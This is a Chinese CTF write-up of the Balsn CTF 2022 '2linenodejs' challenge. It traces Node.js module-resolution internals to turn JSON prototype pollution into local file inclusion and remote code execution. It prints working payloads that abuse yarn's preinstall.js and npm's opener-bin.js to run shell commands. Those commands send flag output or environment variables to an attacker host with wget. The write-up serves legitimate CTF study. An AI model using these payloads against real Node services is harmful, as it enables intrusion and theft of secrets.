前阵子参加了Balsn CTF 2022,有道Node.js的题目叫2linenodejs,个人觉得思路十分巧妙,遂进行了完整的复现,收获颇多。下面是整个复现的过程。
题目代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| // server.js
process.stdin.setEncoding('utf-8');
process.stdin.on('readable', () => {
try{
console.log('HTTP/1.1 200 OK\nContent-Type: text/html\nConnection: Close\n');
const json = process.stdin.read().match(/\?(.*?)\ /)?.[1],
obj = JSON.parse(json);
console.log(`JSON: ${json}, Object:`, require('./index')(obj, {}));
}catch{
require('./usage')
}finally{
process.exit();
}
});
// index.js
module.exports=(O,o) => (Object.entries(O).forEach(([K,V])=>Object.entries(V).forEach(([k,v])=>(o[K]=o[K]||{},o[K][k]=v))), o);
// usage.js
console.log('Validate your JSON with <a href="/?{}">query</a>');
|
在try block里面将输入的JSON字符串转换为JavaScript对象,再使用一个遍历将对象的属性逐一赋给另一个空对象,很明显这里存在原型链污染。
预期思路是在读取JSON是产生异常,然后进入catch
执行require('./usage')
,通过require()
方法实现RCE。
至于如何产生异常,方法是在JSON里面加一个项值为null
,这样在遍历时Object.entries(V)
为null
,再调用forEach
就会产生无法读取属性的异常。

require()
任意文件包含执行#
使用WebStorm对源码进行调试,在catch处下断点,然后传入输入:?{"a":null}
,使用Force Step Into(快捷键Alt+Shift+F7)即可跳转到require()
的源码继续调试:


最终定位到Module._load
方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| Module._load = function(request, parent, isMain) {
let relResolveCacheIdentifier;
if (parent) {
debug('Module._load REQUEST %s parent: %s', request, parent.id);
// Fast path for (lazy loaded) modules in the same directory. The indirect
// caching is required to allow cache invalidation without changing the old
// cache key names.
relResolveCacheIdentifier = `${parent.path}\x00${request}`;
const filename = relativeResolveCache[relResolveCacheIdentifier];
if (filename !== undefined) {
const cachedModule = Module._cache[filename];
if (cachedModule !== undefined) {
updateChildren(parent, cachedModule, true);
if (!cachedModule.loaded)
return getExportsForCircularRequire(cachedModule);
return cachedModule.exports;
}
delete relativeResolveCache[relResolveCacheIdentifier];
}
}
if (StringPrototypeStartsWith(request, 'node:')) {
// Slice 'node:' prefix
const id = StringPrototypeSlice(request, 5);
const module = loadBuiltinModule(id, request);
if (!module?.canBeRequiredByUsers) {
throw new ERR_UNKNOWN_BUILTIN_MODULE(request);
}
return module.exports;
}
const filename = Module._resolveFilename(request, parent, isMain);
|
request
参数是可控的,其他两个均为写死的参数。因此第一个if无法控制直接跳过,第二个if判断要require的文件是不是Node内建模块,这里显然也不是,跳过。
下一步进入Module._resolveFilename(request, parent, isMain)
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| Module._resolveFilename = function(request, parent, isMain, options) {
if (
(
StringPrototypeStartsWith(request, 'node:') &&
BuiltinModule.canBeRequiredByUsers(StringPrototypeSlice(request, 5))
) || (
BuiltinModule.canBeRequiredByUsers(request) &&
BuiltinModule.canBeRequiredWithoutScheme(request)
)
) {
return request;
}
let paths;
if (typeof options === 'object' && options !== null) {
......
}
if (request[0] === '#' && (parent?.filename || parent?.id === '<repl>')) {
......
}
// Try module self resolution first
const parentPath = trySelfParentPath(parent);
const selfResolved = trySelf(parentPath, request);
if (selfResolved) {
const cacheKey = request + '\x00' +
(paths.length === 1 ? paths[0] : ArrayPrototypeJoin(paths, '\x00'));
Module._pathCache[cacheKey] = selfResolved;
return selfResolved;
}
|
第一个if同样是判断内建模块的包含条件,跳过;第二个if检查options
,调用的时候根本没传所以是undefined
,跳过;第三个检查包含的文件名是不是以#
开头,也不符合,跳过。
trySelf
中发现原型链污染#
随后是两个方法trySelfParentPath
和trySelf
:

第一个方法参数不可控,返回的是调用require()
方法的父模块路径,于是继续看第二个方法。
1
2
3
4
5
6
7
| function trySelf(parentPath, request) {
if (!parentPath) return false;
const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {};
......
}
|
首先是readPackageScope()
函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
| function readPackageScope(checkPath) {
const rootSeparatorIndex = StringPrototypeIndexOf(checkPath, sep);
let separatorIndex;
do {
separatorIndex = StringPrototypeLastIndexOf(checkPath, sep);
checkPath = StringPrototypeSlice(checkPath, 0, separatorIndex);
if (StringPrototypeEndsWith(checkPath, sep + 'node_modules'))
return false;
const pjson = readPackage(checkPath + sep);
if (pjson) return {
data: pjson,
path: checkPath,
};
} while (separatorIndex > rootSeparatorIndex);
return false;
}
function readPackage(requestPath) {
const jsonPath = path.resolve(requestPath, 'package.json');
const existing = packageJsonCache.get(jsonPath);
if (existing !== undefined) return existing;
const result = packageJsonReader.read(jsonPath);
const json = result.containsKeys === false ? '{}' : result.string;
if (json === undefined) {
packageJsonCache.set(jsonPath, false);
return false;
}
try {
const filtered = filterOwnProperties(JSONParse(json), [
'name',
'main',
'exports',
'imports',
'type',
]);
packageJsonCache.set(jsonPath, filtered);
return filtered;
} catch (e) {
e.path = jsonPath;
e.message = 'Error parsing ' + jsonPath + ': ' + e.message;
throw e;
}
}
|
函数会逐级检查脚本所在目录,如果有读取到最后一级目录名称为node_modules
说明读取到了当前包的根目录,直接返回false
;之后调用readPackage()
函数会读取当前目录下的package.json文件,进行一定处理后返回。
此处目录下没有package.json,因此readPackageScope()
函数会返回false
。意味着对象{data: pkg, path: pkgPath}
被赋值为空对象,很容易发现此处产生了原型链污染的可能性。
继续看下面的判断:
1
2
3
4
5
6
7
8
9
10
11
| if (!pkg || pkg.exports === undefined) return false;
if (typeof pkg.name !== 'string') return false;
let expansion;
if (request === pkg.name) {
expansion = '.';
} else if (StringPrototypeStartsWith(request, `${pkg.name}/`)) {
expansion = '.' + StringPrototypeSlice(request, pkg.name.length);
} else {
return false;
}
|
这段判断要求:
pkg
是个对象,得有exports
和name
两个属性exports
不能是undefined
name
必须是个字符串name
要么与要包含的文件名相同,要么与文件名的起始部分相同
尝试构造JSON,即可通过if继续向下:
1
2
| {"__proto__":{"data":{"name":"./usage","exports":""},"path":""},"a":null}
{"__proto__":{"data":{"name":".","exports":""},"path":""},"a":null}
|


最后是一段try block:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| try {
return finalizeEsmResolution(
packageExportsResolve(
pathToFileURL(pkgPath + '/package.json'),
expansion,
pkg,
pathToFileURL(parentPath),
cjsConditions
), parentPath, pkgPath
);
} catch (e) {
if (e.code === 'ERR_MODULE_NOT_FOUND')
throw createEsmNotFoundErr(request, pkgPath + '/package.json');
throw e;
}
|
pathToFileURL()
顾名思义,将路径转换为file://
URL对象,仅做了字符串处理的操作,没发现什么可以操作的地方。于是进入packageExportsResolve()
。
packageExportsResolve
#
1
2
3
4
5
6
7
8
9
10
11
12
13
| function packageExportsResolve(
packageJSONUrl, packageSubpath, packageConfig, base, conditions) {
let exports = packageConfig.exports;
if (isConditionalExportsMainSugar(exports, packageJSONUrl, base))
exports = { '.': exports };
if (ObjectPrototypeHasOwnProperty(exports, packageSubpath) &&
!StringPrototypeIncludes(packageSubpath, '*') &&
!StringPrototypeEndsWith(packageSubpath, '/')) {
const target = exports[packageSubpath];
const resolveResult = resolvePackageTarget(
packageJSONUrl, target, '', packageSubpath, base, false, false, conditions
);
|
根据函数逻辑,可以大概推断出resolvePackageTarget()
进行了具体的包解析操作,除去开头这个if里面调用了,在函数的最末尾也进行了调用。
进入第一个resolvePackageTarget
#
函数第一个条件是isConditionalExportsMainSugar()
函数,会对exports
属性进行处理:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| function isConditionalExportsMainSugar(exports, packageJSONUrl, base) {
if (typeof exports === 'string' || ArrayIsArray(exports)) return true;
if (typeof exports !== 'object' || exports === null) return false;
const keys = ObjectGetOwnPropertyNames(exports);
let isConditionalSugar = false;
let i = 0;
for (let j = 0; j < keys.length; j++) {
const key = keys[j];
const curIsConditionalSugar = key === '' || key[0] !== '.';
if (i++ === 0) {
isConditionalSugar = curIsConditionalSugar;
} else if (isConditionalSugar !== curIsConditionalSugar) {
throw new ERR_INVALID_PACKAGE_CONFIG(
fileURLToPath(packageJSONUrl), base,
'"exports" cannot contain some keys starting with \'.\' and some not.' +
' The exports object must either be an object of package subpath keys' +
' or an object of main entry condition name keys only.');
}
}
return isConditionalSugar;
}
|
- 如果
exports
是个对象,且所有属性名都不满足key === '' || key[0] !== '.'
条件(所有属性名都以.
开头),或者exports
为null
,函数返回false
,exports
保持原样 - 如果
exports
是字符串或者数组,或者exports
是个对象且所有属性名都满足key === '' || key[0] !== '.'
条件,函数返回true
,此时为exports
添加了一层.
属性
总而言之,经过了这个判断后,exports
对象最终的所有属性名一定是以.
开头或就是.
。
接下来判断ObjectPrototypeHasOwnProperty(exports, packageSubpath)
,检查exports里面有没有名为packageSubpath
的属性。而packageSubpath
就是前一层调用的expansion
变量。所以根据前面构造的JSON,也可以分为两种情况:
name
与要包含的文件名相同,此时expansion
为.
,此时exports
无论怎么样都可以满足条件name
为.
,此时expansion
为./usage
,此时exports必须自己构造:{"./usage":"data"}
综上,Payload修改为以下:
1
2
| {"__proto__":{"data":{"name":"./usage","exports":"any"},"path":""},"a":null}
{"__proto__":{"data":{"name":".","exports":{"./usage":"any"}},"path":""},"a":null}
|


进入第二个resolvePackageTarget
#
判断ObjectPrototypeHasOwnProperty(exports, packageSubpath)
若为false
,便会跳到函数的后半部分。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
| let bestMatch = '';
let bestMatchSubpath;
const keys = ObjectGetOwnPropertyNames(exports);
for (let i = 0; i < keys.length; i++) {
const key = keys[i];
const patternIndex = StringPrototypeIndexOf(key, '*');
if (patternIndex !== -1 &&
StringPrototypeStartsWith(packageSubpath,
StringPrototypeSlice(key, 0, patternIndex))) {
if (StringPrototypeEndsWith(packageSubpath, '/'))
emitTrailingSlashPatternDeprecation(packageSubpath, packageJSONUrl,
base);
const patternTrailer = StringPrototypeSlice(key, patternIndex + 1);
if (packageSubpath.length >= key.length &&
StringPrototypeEndsWith(packageSubpath, patternTrailer) &&
patternKeyCompare(bestMatch, key) === 1 &&
StringPrototypeLastIndexOf(key, '*') === patternIndex) {
bestMatch = key;
bestMatchSubpath = StringPrototypeSlice(
packageSubpath, patternIndex,
packageSubpath.length - patternTrailer.length);
}
}
}
if (bestMatch) {
const target = exports[bestMatch];
const resolveResult = resolvePackageTarget(
packageJSONUrl,
target,
bestMatchSubpath,
bestMatch,
base,
true,
false,
conditions);
......
|
根据判断条件,exports
的属性名需要包含*
字符,且*
字符前面的字符串必须和expansion
的开头一致。据此可以构造以下exports
:
"data":{"name":"./usage","exports":{".*":"any"}}, expansion="."
"data":{"name":".","exports":{"./*":"any"}}, expansion="./usage"
但是继续看下面的条件packageSubpath.length >= key.length
,就可以发现第一个构造没法满足,因为这种情况下key
最短只能是.*
,去掉任何一个字符都会导致前面的判断没法通过,因此长度还是比expansion
更大。因此只剩第二个能够通过:

调用:

于是进入resolvePackageTarget()
函数。如果按照上面的Payload,显然直接进入第一个判断,调用resolvePackageTargetString()
函数。而如果exports是传入的数组,那么则会进入下面一个判断,递归继续对数组每一个元素调用resolvePackageTarget()
,最终还是进入调用resolvePackageTargetString()
函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
| function resolvePackageTarget(packageJSONUrl, target, subpath, packageSubpath,
base, pattern, internal, conditions) {
if (typeof target === 'string') {
return resolvePackageTargetString(
target, subpath, packageSubpath, packageJSONUrl, base, pattern, internal,
conditions);
} else if (ArrayIsArray(target)) {
if (target.length === 0) {
return null;
}
// Recursive call
}
......
|
resolvePackageTargetString
#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
| function resolvePackageTargetString(
target, subpath, match, packageJSONUrl, base, pattern, internal, conditions) {
if (subpath !== '' && !pattern && target[target.length - 1] !== '/')
throwInvalidPackageTarget(match, target, packageJSONUrl, internal, base);
if (!StringPrototypeStartsWith(target, './')) {
if (internal && !StringPrototypeStartsWith(target, '../') &&
!StringPrototypeStartsWith(target, '/')) {
let isURL = false;
try {
new URL(target);
isURL = true;
} catch {
// Continue regardless of error.
}
if (!isURL) {
const exportTarget = pattern ?
RegExpPrototypeSymbolReplace(patternRegEx, target, () => subpath) :
target + subpath;
return packageResolve(
exportTarget, packageJSONUrl, conditions);
}
}
throwInvalidPackageTarget(match, target, packageJSONUrl, internal, base);
}
if (RegExpPrototypeExec(invalidSegmentRegEx, StringPrototypeSlice(target, 2)) !== null)
throwInvalidPackageTarget(match, target, packageJSONUrl, internal, base);
const resolved = new URL(target, packageJSONUrl);
const resolvedPath = resolved.pathname;
const packagePath = new URL('.', packageJSONUrl).pathname;
if (!StringPrototypeStartsWith(resolvedPath, packagePath))
throwInvalidPackageTarget(match, target, packageJSONUrl, internal, base);
if (subpath === '') return resolved;
if (RegExpPrototypeExec(invalidSegmentRegEx, subpath) !== null) {
const request = pattern ?
StringPrototypeReplace(match, '*', () => subpath) : match + subpath;
throwInvalidSubpath(request, packageJSONUrl, internal, base);
}
if (pattern) {
return new URL(
RegExpPrototypeSymbolReplace(
patternRegEx,
resolved.href,
() => subpath
)
);
}
return new URL(subpath, resolved);
}
|
首先前两个判断都不会进入(第一个判断中subpath !== ''
和!pattern
不会同时满足,第二个判断中传进来的internal
始终是false
),然后是一个正则匹配(表达式太长了懒得看),正常的路径和文件名应该也不会匹配。
接下来就会将传入JSON
中的path
和exports
代入最终包含的文件URL中。target
对应exports
中的文件名,packageJSONUrl
对应文件所在路径(路径+package.json
),最终返回URL对象。
如Payload:{"proto":{"data":{"name":".","exports":{"./*":"./include.js"}},"path":"/home/dingzhen/Desktop/2linenodejs/src"},"a":null}
解析结果:

最终顺利包含执行文件(题目环境里无回显):

Payload总结#
1
2
3
4
| {"__proto__":{"data":{"name":".","exports":{"./*":"./evil.js"}},"path":"/path/to/evil"},"a":null}
{"__proto__":{"data":{"name":".","exports":{"./usage":"./evil.js"}},"path":"/path/to/evil"},"a":null}
{"__proto__":{"data":{"name":"./usage","exports":["./evil.js"]},"path":"/path/to/evil"},"a":null}
{"__proto__":{"data":{"name":"./usage","exports":"./evil.js"},"path":"/path/to/evil"},"a":null}
|
寻找RCE Gadget#
找到了本地文件包含之后,需要在本地搜索能够通过污染来触发RCE的JS文件。题目里的docker镜像为node:18.8.0-alpine3.16
,使用下面的命令可以搜索包含了child_process
的JS文件:
1
2
3
4
| # For GNU grep
grep -rnw --include="*.js" "child_process" / 2>/dev/null
# For BusyBox grep which does not support "--include" argument
find / -name "*.js" -exec grep -H "child_process" {} \; 2>/dev/null
|

搜索到如下文件:
- /usr/local/lib/node_modules/npm/node_modules/builtins/index.js
- /usr/local/lib/node_modules/npm/node_modules/@npmcli/promise-spawn/lib/index.js
- /usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/util.js
- /usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/find-visualstudio.js
- /usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/node-gyp.js
- /usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/find-python.js
- /usr/local/lib/node_modules/npm/node_modules/opener/lib/opener.js
- /usr/local/lib/node_modules/npm/lib/commands/config.js
- /usr/local/lib/node_modules/npm/lib/commands/edit.js
- /usr/local/lib/node_modules/npm/lib/commands/help.js
- /opt/yarn-v1.22.19/lib/cli.js
- /opt/yarn-v1.22.19/preinstall.js
逐一检查,寻找调用点,过滤无用的文件,得到以下Gadget。
preinstall.js#
完整路径是/opt/yarn-v1.22.19/preinstall.js。这应该是最简单的一个了,首先这个文件不引用其他的第三方模块,可以独立运行,其次污染参数也相对容易。可以查到这个文件的Github提交记录:https://github.com/yarnpkg/yarn/pull/8343
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| if (process.env.npm_config_global) {
var cp = require('child_process');
var fs = require('fs');
var path = require('path');
try {
var targetPath = cp.execFileSync(process.execPath, [process.env.npm_execpath, 'bin', '-g'], {
encoding: 'utf8',
stdio: ['ignore', undefined, 'ignore'],
}).replace(/\n/g, '');
......
} catch (err) {
// ignore errors
}
}
|
首先,process.env.npm_config_global
初始为undefined
,直接污染为1
即可进入条件。接下来就是调用execFileSync
来执行命令,process.execPath
为当前node
可执行文件的绝对路径,这个不可控,但是process.env.npm_execpath
同样可以被污染,此时借助node
的--eval/-e
参数就可以执行任意JS代码。
e, -eval “script”
Evaluate the following argument as JavaScript. The modules which are predefined in the REPL can also be used in script
.
On Windows, using cmd.exe
a single quote will not work correctly because it only recognizes double "
for quoting. In Powershell or Git bash, both '
and "
are usable.
Payload:
1
2
3
4
5
6
7
8
9
10
11
12
| {
"__proto__": {
"data": {
"name": "./usage",
"exports": "./preinstall.js"
},
"path": "/opt/yarn-v1.22.19",
"npm_config_global": 1,
"npm_execpath": "--eval=require('child_process').execFile('sh',['-c','wget\thttp://IP:PORT/`/readflag`'])"
},
"a": null
}
|
除此之外,还可以使用-r/--require
参数来包含环境变量,再污染process.env
添加一个新环境变量包含代码来实现RCE。(此方法可能受其他环境变量中特殊字符干扰,不一定成功)
Payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| {
"__proto__": {
"data": {
"name": "./usage",
"exports": "./preinstall.js"
},
"path": "/opt/yarn-v1.22.19/",
"npm_config_global": 1,
"npm_execpath": "--require=/proc/self/environ",
"env": {
"A": "require('child_process').execFile('sh',['-c','wget\thttp://IP:PORT/`env`']);//"
}
},
"a":null
}
|
opener-bin.js#
完整路径是/usr/local/lib/node_modules/npm/node_modules/opener/bin/opener-bin.js。
1
2
3
4
5
6
7
8
9
10
| #!/usr/bin/env node
"use strict";
var opener = require("..");
opener(process.argv.slice(2), function (error) {
if (error) {
throw error;
}
});
|
这个文件是/usr/local/lib/node_modules/npm/node_modules/opener/lib/opener.js的唯一调用者。因为opener.js只导出了一个函数,直接包含没法执行。代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
| "use strict";
var childProcess = require("child_process");
var os = require("os");
module.exports = function opener(args, options, callback) {
var platform = process.platform;
if (platform === "linux" && os.release().indexOf("Microsoft") !== -1) {
platform = "win32";
}
var command;
switch (platform) {
case "win32": {
command = "cmd.exe";
break;
}
case "darwin": {
command = "open";
break;
}
default: {
command = "xdg-open";
break;
}
}
if (typeof args === "string") {
args = [args];
}
if (typeof options === "function") {
callback = options;
options = {};
}
if (options && typeof options === "object" && options.command) {
if (platform === "win32") {
args = [options.command].concat(args);
} else {
command = options.command;
}
}
if (platform === "win32") {
args = args.map(function (value) {
return value.replace(/[&^]/g, "^$&");
});
args = ["/c", "start", "\"\""].concat(args);
}
return childProcess.execFile(command, args, options, callback);
};
|
注意到if (typeof options === "function")
判断中将options
赋值为空对象,在调用的时候,传入的options
也确实是一个function
,所以这个判断是一定会进入的。而下一个判断里面又取了options.command
作为最终要执行的文件,也就说明这个command
可以被污染。
接下来看命令执行的参数。process.argv
默认为node的执行参数,一般是node <当前执行的JS文件>
(如下图),因此process.argv.slice(2)
相当于空数组,且无法被污染。

但是无回显RCE需要带出命令输出,单控制一个可执行文件无法控制参数显然无法达到目的。
直到看见另一个大佬写的EXP,恍然大悟,只能说思路太巧妙了:

他污染了一个名为contextExtensions
的变量,一开始我还一头雾水,搜了一下发现这个变量是vm.compileFunction()
方法中options
参数中的一个属性:

污染contextExtensions
注入变量的原理#
首先需要知道vm
模块是干啥的。下面是官方的说明,这个模块是用于在V8虚拟机中直接编译和执行JS代码的:
The node:vm
module enables compiling and running code within V8 Virtual Machine contexts.
The node:vm
module is not a security mechanism. Do not use it to run untrusted code.
vm.compileFunction()
方法用于将字符串形式的JS代码编译成一个Function
对象。而contextExtensions
可以在函数执行的上下文中添加额外的对象,相当于是对函数上下文的扩展。函数执行时调用到的对象值,若在contextExtensions
中存在,则以contextExtensions
中提供的值为准。
基于这个特性,再加上任何模块被require()
包含执行JS代码的时候都会触发下面这个调用链,也就说明了VM上下文注入变量的可行性:
require()
→Module.require()
→Module._load()
→Module.load()
→Module._compile()
接下来是分析。首先看Module.load()
的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| Module.prototype.load = function(filename) {
debug('load %j for module %j', filename, this.id);
assert(!this.loaded);
this.filename = filename;
this.paths = Module._nodeModulePaths(path.dirname(filename));
const extension = findLongestRegisteredExtension(filename);
// allow .mjs to be overridden
if (StringPrototypeEndsWith(filename, '.mjs') && !Module._extensions['.mjs'])
throw new ERR_REQUIRE_ESM(filename, true);
Module._extensions[extension](this, filename);
this.loaded = true;
|
findLongestRegisteredExtension()
是判断文件类型的函数,判断逻辑是只要文件后缀不在Module._extensions
中则归为JS文件,否则直接返回对应类型。而Module._extensions
中只有以下三种文件类型:

所以只要包含的文件不是.json
和.node
后缀,都会进入Module._extensions['.js']()
这个函数。这个函数的尾部调用了Module._compile()
:
1
2
3
4
5
6
7
8
9
10
11
| Module.prototype._compile = function(content, filename) {
let moduleURL;
let redirects;
if (policy?.manifest) {
moduleURL = pathToFileURL(filename);
redirects = policy.manifest.getDependencyMapper(moduleURL);
policy.manifest.assertIntegrity(moduleURL, content);
}
maybeCacheSourceMap(filename, content, this);
const compiledWrapper = wrapSafe(filename, content, this);
|
进入wrapSafe()
函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| function wrapSafe(filename, content, cjsModuleInstance) {
if (patched) {
const wrapper = Module.wrap(content);
return vm.runInThisContext(wrapper, {
......
},
});
}
try {
return vm.compileFunction(content, [
'exports',
'require',
'module',
'__filename',
'__dirname',
], {
filename,
importModuleDynamically(specifier, _, importAssertions) {
const loader = asyncESM.esmLoader;
return loader.import(specifier, normalizeReferrerURL(filename),
importAssertions);
},
});
} catch (err) {
if (process.mainModule === cjsModuleInstance)
enrichCJSError(err, content);
throw err;
}
}
|
第一个条件判断,patched
在文件开头默认赋值为false
,故不会进入;于是后面调用vm.compileFunction()
编译代码,contextExtensions
就是在此处被污染的。
下图是WebStorm中展示的整个调用栈:

注入上下文变量 控制命令执行参数#
理解了原理之后,下面就可以构造JSON来注入变量。根据Node.js文档的描述,contextExtensions
是个Object
数组,因此只需要往数组里再赋值一个process.argv
,当函数执行时,对应的process.argv
就会变成被注入的值。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| {
"__proto__": {
"data": {
"name": "./usage",
"exports": "./opener-bin.js"
},
"path": "./",
"command": "wget",
"contextExtensions": [{
"process": {
"argv": ["","","http://IP:PORT/a"]
}
}]
},
"a": null
}
|
调试进入opener-bin.js,发现变量process.argv
确实已经被覆盖了:

接下来进入opener
调用,对应执行的命令就是wget http://IP:PORT/a
(因为取了slice
,argv
前两个项应该置空,真实参数从第三项开始)

参考资料#